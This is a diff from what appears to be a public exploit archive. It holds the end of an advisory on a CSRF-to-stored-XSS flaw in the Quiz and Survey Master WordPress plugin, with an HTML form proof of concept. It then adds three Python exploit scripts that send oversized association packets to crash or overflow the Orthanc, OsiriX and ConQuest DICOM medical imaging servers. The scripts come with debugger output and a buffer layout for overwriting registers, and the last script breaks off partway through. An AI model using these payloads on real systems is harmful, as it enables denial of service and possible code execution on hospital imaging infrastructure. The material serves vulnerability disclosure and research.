A CSRF vulnerability allows an unauthenticated attacker to add questions to existing quizzes.
|
||||
The question_name parameter is put into a manually-constructed JavaScript object and escaped with esc_js() (php/qmn_options_questions_tab.php line 499). If the user (or attacker) creates a new question on a quiz containing “<script>alert(1)</script>” in the question_name field then “question: ‘<script>alert(1)</script>’,” will get output inside the JS object. All good so far.
|
||||
However, in js/admin_question.js on line 205, we see this line, as part of some JS-generated HTML:
|
||||
jQuery(\'<textarea/>\').html(questions_list[i].question.replace(/\"/g, \'\"\').replace(/\'/g, \"\'\")).text()+
|
||||
This looks okay. We’re creating a TEXTAREA element, setting its HTML to the value of the question_name parameter, and extracting the .text() of it. If we did jQuery(‘<textarea/>’).html(‘<script>alert(1)</script>’).text() we would get “alert(1)” as the output.
|
||||
However, that’s not how inline JavaScript gets parsed. Between a <script> and a </script>, the HTML parser actually parses “<” as “<” not as “<“. So if we do jQuery(‘<textarea/>’).html(‘<script>alert(1)</script>’).text() we get “<script>alert(1)</script>”.
|
||||
And since “<script>alert(1)</script>” doesn’t appear anywhere in the page, Chrome’s reflected XSS mitigation measures are not activated. Thus the stored XSS attack can be executed immediately.
|
||||
|
||||
Proof of concept
|
||||
================
|
||||
-->
|
||||
|
||||
Click the submit button on the following page (in a real attack the form can be submitted without user interaction):
|
||||
<form method=\"POST\" action=\"http://localhost/wp-admin/admin.php?page=mlw_quiz_options&quiz_id=1\">
|
||||
<input type=\"text\" name=\"question_type\" value=\"0\">
|
||||
<input type=\"text\" name=\"question_name\" value=\"<script>alert(1)</script>\">
|
||||
<input type=\"text\" name=\"question_submission\" value=\"new_question\">
|
||||
<input type=\"text\" name=\"quiz_id\" value=\"1\">
|
||||
<input type=\"submit\">
|
||||
</form>
|
||||
|
||||
<!--
|
||||
Mitigations
|
||||
================
|
||||
Upgrade to version 4.7.9 or later.
|
||||
|
||||
Disclosure policy
|
||||
================
|
||||
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/
|
||||
|
||||
Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.
|
||||
|
||||
This vulnerability will be published if we do not receive a response to this report with 14 days.
|
||||
|
||||
Timeline
|
||||
================
|
||||
|
||||
2015-09-14: Discovered
|
||||
2016-12-07: Reported to vendor via https://quizandsurveymaster.com/contact-us/
|
||||
2016-12-07: Requested CVE
|
||||
2016-12-13: Vendor replied
|
||||
2016-12-14: Vendor reported issue fixed in version 4.7.9
|
||||
2016-12-15: Advisory published
|
||||
|
||||
|
||||
|
||||
Discovered by dxw:
|
||||
================
|
||||
Tom Adams
|
||||
Please visit security.dxw.com for more information.
|
||||
-->
|
130
platforms/windows/dos/40925.py
Executable file
130
platforms/windows/dos/40925.py
Executable file
|
@ -0,0 +1,130 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: utf8 -*-
|
||||
#
|
||||
# Orthanc DICOM Server 1.1.0 Remote Memory Corruption Vulnerability
|
||||
#
|
||||
#
|
||||
# Vendor: Sébastien Jodogne
|
||||
# Product web page: http://www.orthanc-server.com
|
||||
# Affected version: 1.1.0
|
||||
#
|
||||
# Summary: Orthanc is a Belgian, open-source, lightweight RESTful DICOM server
|
||||
# for healthcare and medical research with an ubiquitous web interface that
|
||||
# enables you to upload, receive and transfer DICOM images. It comes with
|
||||
# a REST API to automate imaging flows and an SDK to integrate with native
|
||||
# applications.
|
||||
#
|
||||
# Desc: The vulnerability is caused due to the usage of vulnerable collection
|
||||
# of libraries that are part of DCMTK Toolkit, specifically the parser for the
|
||||
# DICOM Upper Layer Protocol or DUL. Stack/Heap Buffer overflow/underflow can be
|
||||
# triggered when sending and processing wrong length of ACSE data structure received
|
||||
# over the network by the DICOM Store-SCP service. An attacker can overflow the stack
|
||||
# and the heap of the process when sending large array of bytes to the presentation
|
||||
# context item length segment of the DICOM standard, potentially resulting in remote
|
||||
# code execution and/or denial of service scenario.
|
||||
#
|
||||
# -------------------------------------------------------------------------------
|
||||
#
|
||||
# ==5299== Memcheck, a memory error detector
|
||||
# ==5299== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
|
||||
# ==5299== Using Valgrind-3.10.1 and LibVEX; rerun with -h for copyright info
|
||||
# ==5299== Command: ./Orthanc
|
||||
# ==5299==
|
||||
# W1201 17:35:34.724792 main.cpp:1235] Orthanc version: mainline (20161129T150442)
|
||||
# W1201 17:35:34.804810 main.cpp:1092] Performance warning: Non-release build, runtime debug assertions are turned on
|
||||
# W1201 17:35:35.042122 OrthancInitialization.cpp:125] Reading the configuration from: "/home/lqwrm/Subversion/orthanc/Resources/Configuration.json"
|
||||
# W1201 17:35:35.272799 FromDcmtkBridge.cpp:141] Loading the external DICOM dictionary "/usr/share/libdcmtk2/dicom.dic"
|
||||
# W1201 17:35:35.905845 FromDcmtkBridge.cpp:141] Loading the external DICOM dictionary "/usr/share/libdcmtk2/private.dic"
|
||||
# W1201 17:35:36.407249 OrthancInitialization.cpp:488] Registering JPEG Lossless codecs
|
||||
# W1201 17:35:36.417571 OrthancInitialization.cpp:493] Registering JPEG codecs
|
||||
# W1201 17:35:36.846619 OrthancInitialization.cpp:986] SQLite index directory: "/ssd/lqwrm/Subversion/orthanc/i/OrthancStorage"
|
||||
# W1201 17:35:36.999809 OrthancInitialization.cpp:1056] Storage directory: "/ssd/lqwrm/Subversion/orthanc/i/OrthancStorage"
|
||||
# W1201 17:35:38.247567 LuaContext.cpp:103] Lua says: Lua toolbox installed
|
||||
# W1201 17:35:38.319095 ServerScheduler.cpp:134] The server scheduler has started
|
||||
# W1201 17:35:38.332937 HttpClient.cpp:680] No certificates are provided to validate peers, set "HttpsCACertificates" if you need to do HTTPS requests
|
||||
# W1201 17:35:38.345479 ServerContext.cpp:181] Disk compression is disabled
|
||||
# W1201 17:35:38.358374 ServerIndex.cpp:1392] No limit on the number of stored patients
|
||||
# W1201 17:35:38.361704 ServerIndex.cpp:1409] No limit on the size of the storage area
|
||||
# W1201 17:35:38.688634 main.cpp:822] DICOM server listening with AET ORTHANC on port: 4242
|
||||
# W1201 17:35:38.715241 MongooseServer.cpp:887] This version of OpenSSL is vulnerable to the Heartbleed exploit
|
||||
# W1201 17:35:38.721902 MongooseServer.cpp:1027] HTTP compression is enabled
|
||||
# W1201 17:35:38.887721 main.cpp:757] HTTP server listening on port: 8042
|
||||
# W1201 17:35:38.890026 main.cpp:644] Orthanc has started
|
||||
# ==5299== Thread 11:
|
||||
# ==5299== Invalid read of size 1
|
||||
# ==5299== at 0x5ECEBD: parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) (dulparse.cc:389)
|
||||
# ==5299== by 0x5EC6A0: parseAssociate(unsigned char*, unsigned long, dul_associatepdu*) (dulparse.cc:234)
|
||||
# ==5299== by 0x5E0131: AE_6_ExamineAssociateRequest(PRIVATE_NETWORKKEY**, PRIVATE_ASSOCIATIONKEY**, int, void*) (dulfsm.cc:1158)
|
||||
# ==5299== by 0x5DF125: PRV_StateMachine(PRIVATE_NETWORKKEY**, PRIVATE_ASSOCIATIONKEY**, int, int, void*) (dulfsm.cc:750)
|
||||
# ==5299== by 0x56DF26: DUL_ReceiveAssociationRQ(void**, DUL_BLOCKOPTIONS, int, DUL_ASSOCIATESERVICEPARAMETERS*, void**, int) (dul.cc:669)
|
||||
# ==5299== by 0x56B440: ASC_receiveAssociation(T_ASC_Network*, T_ASC_Association**, long, void**, unsigned long*, bool, DUL_BLOCKOPTIONS, int) (assoc.cc:1752)
|
||||
# ==5299== by 0x4494B5: Orthanc::Internals::AcceptAssociation(Orthanc::DicomServer const&, T_ASC_Network*) (CommandDispatcher.cpp:439)
|
||||
# ==5299== by 0x42D010: Orthanc::DicomServer::ServerThread(Orthanc::DicomServer*) (DicomServer.cpp:69)
|
||||
# ==5299== by 0x43198B: void boost::_bi::list1<boost::_bi::value<Orthanc::DicomServer*> >::operator()<void (*)(Orthanc::DicomServer*), boost::_bi::list0>(boost::_bi::type<void>, void (*&)
|
||||
#
|
||||
# -------------------------------------------------------------------------------
|
||||
#
|
||||
# (47fc.40cc): Access violation - code c0000005 (first chance)
|
||||
# First chance exceptions are reported before any exception handling.
|
||||
# This exception may be expected and handled.
|
||||
# *** WARNING: Unable to verify checksum for C:\Users\lqwrm\Downloads\orthancAndPluginsWin32.stable\Orthanc.exe
|
||||
# *** ERROR: Module load completed but symbols could not be loaded for C:\Users\lqwrm\Downloads\orthancAndPluginsWin32.stable\Orthanc.exe
|
||||
# eax=000000ce ebx=ffffc99c ecx=0074ae50 edx=013e3060 esi=018cf094 edi=010090ab
|
||||
# eip=0136c910 esp=0389eca8 ebp=0389ece8 iopl=0 nv up ei ng nz na pe nc
|
||||
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010286
|
||||
# Orthanc+0xfc910:
|
||||
# 0136c910 8a07 mov al,byte ptr [edi] ds:002b:010090ab=??
|
||||
#
|
||||
# -------------------------------------------------------------------------------
|
||||
#
|
||||
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
|
||||
# Microsoft Windows 7 Ultimate SP1 (EN)
|
||||
# Ubuntu Linux/14.04.5
|
||||
#
|
||||
#
|
||||
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||
# @zeroscience
|
||||
#
|
||||
#
|
||||
# Advisory ID: ZSL-2016-5380
|
||||
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5380.php
|
||||
#
|
||||
# Vendor: https://bitbucket.org/sjodogne/orthanc/commits/6ac6193a7935865db07d3d81c627c84de7557ce0?at=default
|
||||
# https://bitbucket.org/sjodogne/orthanc/src/Orthanc-1.2.0/NEWS?fileviewer=file-view-default
|
||||
#
|
||||
# OFFIS e.V.: https://github.com/commontk/DCMTK/commit/1b6bb76
|
||||
#
|
||||
#
|
||||
# 22.11.2016
|
||||
#
|
||||
|
||||
|
||||
import socket, sys
|
||||
|
||||
hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
|
||||
'\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
|
||||
'\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
|
||||
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
||||
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
||||
'\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
|
||||
'\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
|
||||
'\x31\x20\x00\x80\x00')
|
||||
|
||||
bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
|
||||
'\x52\x00\x00\x00')
|
||||
|
||||
buffer = '\x41\x42\x43\x44' * 10000
|
||||
|
||||
if len(sys.argv) < 3:
|
||||
print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'
|
||||
print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 4242\n'
|
||||
sys.exit(0)
|
||||
|
||||
host = sys.argv[1]
|
||||
port = int(sys.argv[2])
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
connect = s.connect((host, port))
|
||||
s.settimeout(251)
|
||||
s.send(hello+buffer+bye)
|
||||
s.close
|
130
platforms/windows/dos/40926.py
Executable file
130
platforms/windows/dos/40926.py
Executable file
|
@ -0,0 +1,130 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: utf8 -*-
|
||||
#
|
||||
#
|
||||
# OsiriX DICOM Viewer 8.0.1 (dulparse.cc) Remote Memory Corruption Vulnerability
|
||||
#
|
||||
#
|
||||
# Vendor: Pixmeo Sarl
|
||||
# Product web page: http://www.osirix-viewer.com
|
||||
# Affected version: OsiriX 8.0.1
|
||||
#
|
||||
# Summary: With high performance and an intuitive interactive user interface, OsiriX MD is
|
||||
# the most widely used DICOM viewer in the world. It is the result of more than 10 years of
|
||||
# research and development in digital imaging. It fully supports the DICOM standard for an
|
||||
# easy integration in your workflow environment and an open platform for development of
|
||||
# processing tools. It offers advanced post-processing techniques in 2D and 3D, exclusive
|
||||
# innovative technique for 3D and 4D navigation and a complete integration with any PACS.
|
||||
# OsiriX MD supports 64-bit computing and multithreading for the best performances on the
|
||||
# most modern processors. OsiriX MD is certified for medical use, FDA cleared and CE II labeled.
|
||||
#
|
||||
# Summary2: OsiriX is an image processing application for Mac dedicated to DICOM images
|
||||
# (".dcm" / ".DCM" extension) produced by equipment (MRI, CT, PET, PET-CT, ...).
|
||||
# Osirix is complementary to existing viewers, in particular to nuclear medicine viewers.
|
||||
#
|
||||
# Desc: The vulnerability is caused due to the usage of vulnerable collection of libraries that
|
||||
# are part of DCMTK Toolkit, specifically the parser for the DICOM Upper Layer Protocol or DUL.
|
||||
# Stack/Heap Buffer overflow/underflow can be triggered when sending and processing wrong length
|
||||
# of ACSE data structure received over the network by the DICOM Store-SCP service. An attacker can
|
||||
# overflow the stack and the heap of the process when sending large array of bytes to the presentation
|
||||
# context item length segment of the DICOM standard, potentially resulting in remote code execution
|
||||
# and/or denial of service scenario.
|
||||
#
|
||||
# -------------------------------------------------------------------------------------
|
||||
#
|
||||
# (lldb)
|
||||
# Process 65202 stopped
|
||||
# * thread #20: tid = 0x2c5fcc, 0x0000000108978441 OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833, name = 'DICOM Store-SCP', stop reason = EXC_BAD_ACCESS (code=1, address=0x7fb5af00fda1)
|
||||
# frame #0: 0x0000000108978441 OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833
|
||||
# OsiriX Lite`parseAssociate:
|
||||
# -> 0x108978441 <+833>: movzbl (%r10), %eax
|
||||
# 0x108978445 <+837>: cmpl $0x40, %eax
|
||||
# 0x108978448 <+840>: movq -0x200(%rbp), %rcx
|
||||
# 0x10897844f <+847>: je 0x108978513 ; <+1043>
|
||||
# (lldb) bt
|
||||
# * thread #19: tid = 0x2f6189, 0x0000000102fe8441 OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833, name = 'DICOM Store-SCP', stop reason = EXC_BAD_ACCESS (code=1, address=0x7fab8ac000a1)
|
||||
# * frame #0: 0x0000000102fe8441 OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833
|
||||
# frame #1: 0x0000000102fe4363 OsiriX Lite`AE_6_ExamineAssociateRequest(PRIVATE_NETWORKKEY**, PRIVATE_ASSOCIATIONKEY**, int, void*) + 339
|
||||
# frame #2: 0x0000000102fe14ca OsiriX Lite`PRV_StateMachine(PRIVATE_NETWORKKEY**, PRIVATE_ASSOCIATIONKEY**, int, int, void*) + 314
|
||||
# frame #3: 0x0000000102fdae9c OsiriX Lite`DUL_ReceiveAssociationRQ(void**, DUL_BLOCKOPTIONS, int, DUL_ASSOCIATESERVICEPARAMETERS*, void**, int) + 4348
|
||||
# frame #4: 0x0000000102facf1e OsiriX Lite`ASC_receiveAssociation(T_ASC_Network*, T_ASC_Association**, long, void**, unsigned int*, bool, DUL_BLOCKOPTIONS, int) + 462
|
||||
# frame #5: 0x0000000102c5f28f OsiriX Lite`DcmQueryRetrieveSCP::waitForAssociation(T_ASC_Network*) + 207
|
||||
# frame #6: 0x0000000102c3f9c7 OsiriX Lite`-[DCMTKQueryRetrieveSCP run] + 4999
|
||||
# frame #7: 0x0000000102987a37 OsiriX Lite`-[AppController startSTORESCP:] + 519
|
||||
# frame #8: 0x00007fff975b030d Foundation`__NSThread__start__ + 1243
|
||||
# frame #9: 0x00007fffab021aab libsystem_pthread.dylib`_pthread_body + 180
|
||||
# frame #10: 0x00007fffab0219f7 libsystem_pthread.dylib`_pthread_start + 286
|
||||
# frame #11: 0x00007fffab021221 libsystem_pthread.dylib`thread_start + 13
|
||||
# (lldb) register read
|
||||
# General Purpose Registers:
|
||||
# rax = 0x0000000000000103
|
||||
# rbx = 0x00000001044c18d8 OsiriX Lite`ECC_Normal
|
||||
# rcx = 0x00006100002e6200
|
||||
# rdx = 0x000000000001ad41
|
||||
# rdi = 0x00000001044c18d8 OsiriX Lite`ECC_Normal
|
||||
# rsi = 0x00006100002e6200
|
||||
# rbp = 0x0000700005a4a670
|
||||
# rsp = 0x0000700005a4a420
|
||||
# r8 = 0x0000000000000103
|
||||
# r9 = 0x00000000fb40cfc6
|
||||
# r10 = 0x00007fab8ac000a1
|
||||
# r11 = 0x0000000000000041
|
||||
# r12 = 0x0000700005a4a6b8
|
||||
# r13 = 0x00000001044c18f0 OsiriX Lite`EC_Normal
|
||||
# r14 = 0x00000001044c18d8 OsiriX Lite`ECC_Normal
|
||||
# r15 = 0x0000000000008014
|
||||
# rip = 0x0000000102fe8441 OsiriX Lite`parseAssociate(unsigned char*, unsigned int, dul_associatepdu*) + 833
|
||||
# rflags = 0x0000000000010286
|
||||
# cs = 0x000000000000002b
|
||||
# fs = 0x0000000000000000
|
||||
# gs = 0x0000000000000000
|
||||
#
|
||||
# -------------------------------------------------------------------------------------
|
||||
#
|
||||
# Tested on: OS X 10.12.2 (Sierra)
|
||||
# OS X 10.12.1 (Sierra)
|
||||
#
|
||||
#
|
||||
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||
# @zeroscience
|
||||
#
|
||||
#
|
||||
# Advisory ID: ZSL-2016-5382
|
||||
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5382.php
|
||||
#
|
||||
# https://tools.ietf.org/html/rfc3240
|
||||
# https://github.com/commontk/DCMTK/commit/1b6bb76
|
||||
#
|
||||
# 29.11.2016
|
||||
#
|
||||
|
||||
|
||||
import sys, socket
|
||||
|
||||
hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
|
||||
'\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
|
||||
'\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
|
||||
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
||||
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
||||
'\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
|
||||
'\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
|
||||
'\x31\x20\x00\x80\x00')
|
||||
|
||||
bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
|
||||
'\x52\x00\x00\x00')
|
||||
|
||||
buffer = '\x41\x42\x43\x44' * 10000
|
||||
|
||||
if len(sys.argv) < 3:
|
||||
print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'
|
||||
print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 11112\n'
|
||||
sys.exit(0)
|
||||
|
||||
host = sys.argv[1]
|
||||
port = int(sys.argv[2])
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
connect = s.connect((host, port))
|
||||
s.settimeout(251)
|
||||
s.send(hello+buffer+bye)
|
||||
s.close
|
180
platforms/windows/dos/40927.py
Executable file
180
platforms/windows/dos/40927.py
Executable file
|
@ -0,0 +1,180 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: utf8 -*-
|
||||
#
|
||||
#
|
||||
# ConQuest DICOM Server 1.4.17d Remote Stack Buffer Overflow RCE
|
||||
#
|
||||
#
|
||||
# Vendor: University of Manchester. Developed by Marcel van Herk, Lambert Zijp and Jan Meinders. The Netherlands Cancer Institute
|
||||
# Product web page: https://ingenium.home.xs4all.nl/dicom.html | http://dicom.nema.org
|
||||
# Affected version: 1.4.17d
|
||||
# 1.4.19beta3a
|
||||
# 1.4.19beta3b
|
||||
#
|
||||
# Summary: A full featured DICOM server has been developed based on the public
|
||||
# domain UCDMC DICOM code. Some possible applications of the Conquest DICOM software
|
||||
# are: DICOM training and testing; Demonstration image archives; Image format conversion
|
||||
# from a scanner with DICOM network access; DICOM image slide making; DICOM image selection
|
||||
# and (limited) editing; Automatic image forwarding and (de)compression.
|
||||
#
|
||||
# The vulnerability is caused due to the usage of vulnerable collection of libraries that
|
||||
# are part of DCMTK Toolkit, specifically the parser for the DICOM Upper Layer Protocol or DUL.
|
||||
# Stack/Heap Buffer overflow/underflow can be triggered when sending and processing wrong length
|
||||
# of ACSE data structure received over the network by the DICOM Store-SCP service. An attacker can
|
||||
# overflow the stack and the heap of the process when sending large array of bytes to the presentation
|
||||
# context item length segment of the DICOM standard, potentially resulting in remote code execution
|
||||
# and/or denial of service scenario.
|
||||
#
|
||||
# ------------------------------------------------------------------------------
|
||||
# 0:002> g
|
||||
# (820.fc4): Access violation - code c0000005 (first chance)
|
||||
# First chance exceptions are reported before any exception handling.
|
||||
# This exception may be expected and handled.
|
||||
# *** WARNING: Unable to verify checksum for C:\Users\lqwrm\Downloads\dicomserver1419beta3b\dgate64.exe
|
||||
# *** ERROR: Module load completed but symbols could not be loaded for C:\Users\lqwrm\Downloads\dicomserver1419beta3b\dgate64.exe
|
||||
# dgate64+0xb9a29:
|
||||
# 00000001`3fe09a29 488b5108 mov rdx,qword ptr [rcx+8] ds:42424242`4242424a=????????????????
|
||||
# 0:002> r
|
||||
# rax=0000000044444444 rbx=000000000298c910 rcx=4242424242424242
|
||||
# rdx=000001400046001a rsi=0000000000001105 rdi=000000000041dc50
|
||||
# rip=000000013fe09a29 rsp=000000000298b840 rbp=000000000298e8e4
|
||||
# r8=000000000041dc40 r9=0000000000000402 r10=0000000000000281
|
||||
# r11=0000013f004a0019 r12=0000000000003eb7 r13=0000000000000000
|
||||
# r14=0000000000000000 r15=000000000298c910
|
||||
# iopl=0 nv up ei pl nz na po nc
|
||||
# cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
|
||||
# dgate64+0xb9a29:
|
||||
# 00000001`3fe09a29 488b5108 mov rdx,qword ptr [rcx+8] ds:42424242`4242424a=????????????????
|
||||
# 0:002> u
|
||||
# dgate64+0xb9a29:
|
||||
# 00000001`3fe09a29 488b5108 mov rdx,qword ptr [rcx+8]
|
||||
# 00000001`3fe09a2d 488b4110 mov rax,qword ptr [rcx+10h]
|
||||
# 00000001`3fe09a31 4885d2 test rdx,rdx
|
||||
# 00000001`3fe09a34 7406 je dgate64+0xb9a3c (00000001`3fe09a3c)
|
||||
# 00000001`3fe09a36 48894210 mov qword ptr [rdx+10h],rax
|
||||
# 00000001`3fe09a3a eb04 jmp dgate64+0xb9a40 (00000001`3fe09a40)
|
||||
# 00000001`3fe09a3c 48894328 mov qword ptr [rbx+28h],rax
|
||||
# 00000001`3fe09a40 488b5110 mov rdx,qword ptr [rcx+10h]
|
||||
# 0:002>
|
||||
# dgate64+0xb9a44:
|
||||
# 00000001`3fe09a44 488b4108 mov rax,qword ptr [rcx+8]
|
||||
# 00000001`3fe09a48 4885d2 test rdx,rdx
|
||||
# 00000001`3fe09a4b 7406 je dgate64+0xb9a53 (00000001`3fe09a53)
|
||||
# 00000001`3fe09a4d 48894208 mov qword ptr [rdx+8],rax
|
||||
# 00000001`3fe09a51 eb04 jmp dgate64+0xb9a57 (00000001`3fe09a57)
|
||||
# 00000001`3fe09a53 48894330 mov qword ptr [rbx+30h],rax
|
||||
# 00000001`3fe09a57 ba18000000 mov edx,18h
|
||||
# 00000001`3fe09a5c e804caf4ff call dgate64+0x6465 (00000001`3fd56465)
|
||||
# 0:002> kb e
|
||||
# # RetAddr : Args to Child : Call Site
|
||||
# 00 00000001`3fe104d2 : 00000000`00457a28 00000000`00008014 00000000`0298b8d9 00000000`00000000 : dgate64+0xb9a29
|
||||
# 01 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : dgate64+0xc04d2
|
||||
# 02 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
|
||||
# 03 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
|
||||
# 04 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
|
||||
# 05 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
|
||||
# 06 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
|
||||
# 07 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
|
||||
# 08 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
|
||||
# 09 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
|
||||
# 0a 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
|
||||
# 0b 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
|
||||
# 0c 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
|
||||
# 0d 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141
|
||||
# 0:002> !exchain
|
||||
# 100 stack frames, scanning for handlers...
|
||||
# Frame 0x01: dgate64+0xc04d2 (00000001`3fe104d2)
|
||||
# ehandler dgate64+0x552e (00000001`3fd5552e)
|
||||
# Frame 0x02: error getting module for 4141414141414141
|
||||
# Frame 0x03: error getting module for 4141414141414141
|
||||
# Frame 0x04: error getting module for 4141414141414141
|
||||
# Frame 0x05: error getting module for 4141414141414141
|
||||
# Frame 0x06: error getting module for 4141414141414141
|
||||
# Frame 0x07: error getting module for 4141414141414141
|
||||
# Frame 0x08: error getting module for 4141414141414141
|
||||
# Frame 0x09: error getting module for 4141414141414141
|
||||
# Frame 0x0a: error getting module for 4141414141414141
|
||||
# Frame 0x0b: error getting module for 4141414141414141
|
||||
# Frame 0x0c: error getting module for 4141414141414141
|
||||
# Frame 0x0d: error getting module for 4141414141414141
|
||||
# Frame 0x0e: error getting module for 4141414141414141
|
||||
# Frame 0x0f: error getting module for 4141414141414141
|
||||
# Frame 0x10: error getting module for 4141414141414141
|
||||
# Frame 0x11: error getting module for 4141414141414141
|
||||
# Frame 0x12: error getting module for 4141414141414141
|
||||
# Frame 0x13: error getting module for 4141414141414141
|
||||
# Frame 0x14: error getting module for 4141414141414141
|
||||
# Frame 0x15: error getting module for 4141414141414141
|
||||
# Frame 0x16: error getting module for 4141414141414141
|
||||
# ...
|
||||
# ...
|
||||
# Frame 0x61: error getting module for 4141414141414141
|
||||
# Frame 0x62: error getting module for 4141414141414141
|
||||
# Frame 0x63: error getting module for 4141414141414141
|
||||
# 0:002> g
|
||||
#
|
||||
# STATUS_STACK_BUFFER_OVERRUN encountered
|
||||
# (820.fc4): Break instruction exception - code 80000003 (first chance)
|
||||
# kernel32!UnhandledExceptionFilter+0x71:
|
||||
# 00000000`7796bb21 cc int 3
|
||||
# 0:002> g
|
||||
# ntdll!ZwWaitForSingleObject+0xa:
|
||||
# 00000000`77a3bb7a c3 ret
|
||||
#
|
||||
# ------------------------------------------------------------------------------
|
||||
#
|
||||
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
|
||||
# Microsoft Windows 7 Ultimate SP1 (EN)
|
||||
# Linux Ubuntu 14.04.5
|
||||
# Solaris 10
|
||||
# macOS/10.12.2
|
||||
#
|
||||
#
|
||||
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||
# @zeroscience
|
||||
#
|
||||
#
|
||||
# Advisory ID: ZSL-2016-5383
|
||||
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5383.php
|
||||
#
|
||||
#
|
||||
# 22.11.2016
|
||||
#
|
||||
|
||||
|
||||
import socket, sys
|
||||
|
||||
hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
|
||||
'\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
|
||||
'\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
|
||||
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
||||
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
||||
'\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
|
||||
'\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
|
||||
'\x31\x20\x00\x80\x00')
|
||||
|
||||
# 33406 bytes
|
||||
buffer = '\x41' * 20957 # STACK OVERFLOW / SEH OVERWRITE
|
||||
buffer += '\x42' * 8 # RCX = 4242424242424242
|
||||
buffer += '\x43' * 8 # defiler ;]
|
||||
buffer += '\x44\x44\x44\x44' # EAX = 44444444 / RAX = 0000000044444444
|
||||
buffer += '\x45' * 12429
|
||||
|
||||
bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
|
||||
'\x52\x00\x00\x00')
|
||||
|
||||
print 'Sending '+str(len(buffer))+' bytes of data!'
|
||||
|
||||
if len(sys.argv) < 3:
|
||||
print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'
|
||||
